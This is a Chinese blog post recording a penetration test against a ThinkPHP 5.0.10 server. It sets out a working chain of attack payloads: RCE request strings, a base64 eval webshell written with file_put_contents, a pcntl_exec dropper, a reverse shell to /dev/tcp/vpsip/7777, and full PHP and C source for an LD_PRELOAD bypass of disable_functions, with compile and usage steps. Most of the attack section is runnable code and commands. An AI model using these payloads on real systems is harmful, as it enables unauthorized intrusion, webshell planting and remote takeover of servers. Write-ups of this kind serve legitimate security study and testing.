一次项目中Thinkphp绕过禁用函数的实战记录


Posted in PHP onNovember 17, 2021

前言

在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray

果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞

直接使用命令执行payload,结果报出system函数被禁用

s=whoami&_method=__construct&method=&filter[]=system

一次项目中Thinkphp绕过禁用函数的实战记录

尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函数被禁用了

一次项目中Thinkphp绕过禁用函数的实战记录

看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

file_put_contents

又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
测试写入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

一次项目中Thinkphp绕过禁用函数的实战记录

写入成功

一次项目中Thinkphp绕过禁用函数的实战记录

写入冰蝎马可以进行文件管理了

一次项目中Thinkphp绕过禁用函数的实战记录

虽然可以进行文件操作了,但还是没法执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

pcntl_exec

想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件

先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件写入反弹命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

浏览器访问exe.php成功反弹shell

一次项目中Thinkphp绕过禁用函数的实战记录

LD_PRELOAD 劫持

这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/

这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

bypass_disablefunc.php提供了三个参数:

  1. cmd 参数,待执行的系统命令(如 whoami)。
  2. outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
  3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

这里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录
在浏览器访问bypass_disablefunc.php传入参数

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

总结

到此这篇关于一次项目中Thinkphp绕过禁用函数的文章就介绍到这了,更多相关Thinkphp绕过禁用函数内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
PHP 存取 MySQL 数据库的一个例子
Oct 09 PHP
用PHPdig打造属于你自己的Google[图文教程]
Feb 14 PHP
探讨fckeditor在Php中的配置详解
Jun 08 PHP
PHP实现删除非站内外部链接实例代码
Jun 17 PHP
PHP中模拟处理HTTP PUT请求的例子
Jul 22 PHP
Zend Framework 2.0事件管理器(The EventManager)入门教程
Aug 11 PHP
php绘制一个矩形的方法
Jan 24 PHP
php字符串过滤与替换小结
Jan 26 PHP
thinkphp3.2实现上传图片的控制器方法
Apr 28 PHP
php mysql 封装类实例代码
Sep 18 PHP
jquery不支持toggle()高(新)版本的问题解决
Sep 24 PHP
PhpStorm terminal无法输入命令的解决方法
Oct 09 PHP
php修改word的实例方法
Nov 17 #PHP
PHP获取学生成绩的方法
Nov 17 #PHP
php去除deprecated的实例方法
Nov 17 #PHP
php去除数组中为0的元素的实例分析
Nov 17 #PHP
tp5使用layui实现多个图片上传(带附件选择)的方法实例
php png失真的原因及解决办法
Nov 17 #PHP
php实例化对象的实例方法
Nov 17 #PHP
You might like
php中常用编辑器推荐
2007/01/02 PHP
php管理nginx虚拟主机shell脚本实例
2014/11/19 PHP
编写PHP程序检查字符串中的中文字符个数的实例分享
2016/03/17 PHP
给大家分享几个常用的PHP函数
2017/01/15 PHP
CI框架网页缓存简单用法分析
2018/12/26 PHP
RSA实现JS前端加密与PHP后端解密功能示例
2019/08/05 PHP
php与阿里云短信接口接入操作案例分析
2020/05/27 PHP
jQuery.Autocomplete实现自动完成功能(详解)
2010/07/13 Javascript
学习从实践开始之jQuery插件开发 对话框插件开发
2012/04/26 Javascript
Jquery实现点击切换图片并隐藏显示内容(2种方法实现)
2013/04/11 Javascript
js中直接声明一个对象的方法
2014/08/10 Javascript
基于javascript制作微信聊天面板
2020/08/09 Javascript
JS+CSS实现的漂亮渐变背景特效代码(6个渐变效果)
2016/03/25 Javascript
nodejs处理图片的中间件node-images详解
2017/05/08 NodeJs
JavaScript实现各种排序的代码详解
2017/08/28 Javascript
关于Ajax的原理以及代码封装详解
2017/09/08 Javascript
Vue官网todoMVC示例代码
2018/01/29 Javascript
vue自动化表单实例分析
2018/05/06 Javascript
js贪心算法 钱币找零问题代码实例
2019/09/11 Javascript
解决node.js含有%百分号时发送get请求时浏览器地址自动编码的问题
2019/11/20 Javascript
微信小程序实现菜单左右联动
2020/05/19 Javascript
ssm+vue前后端分离框架整合实现(附源码)
2020/07/08 Javascript
原生js实现移动小球(碰撞检测)
2020/12/17 Javascript
[04:54]DOTA2 2017国际邀请赛:上届冠军WINGS采访短片
2017/08/09 DOTA
[01:39:04]DOTA2-DPC中国联赛 正赛 SAG vs CDEC BO3 第二场 2月1日
2021/03/11 DOTA
Python列表(list)常用操作方法小结
2015/02/02 Python
Python内置模块logging用法实例分析
2018/02/12 Python
Tensorflow Summary用法学习笔记
2020/01/10 Python
python输入一个水仙花数(三位数) 输出百位十位个位实例
2020/05/03 Python
CSS3打造磨砂玻璃背景效果
2016/09/28 HTML / CSS
是什么让J2EE适合用来开发多层的分布式的应用
2015/01/16 面试题
新年主持词
2014/03/27 职场文书
外语专业毕业生自荐信
2014/04/14 职场文书
职员竞岗演讲稿
2014/05/14 职场文书
英语投诉信范文
2015/07/03 职场文书
能让Python提速超40倍的神器Cython详解
2021/06/24 Python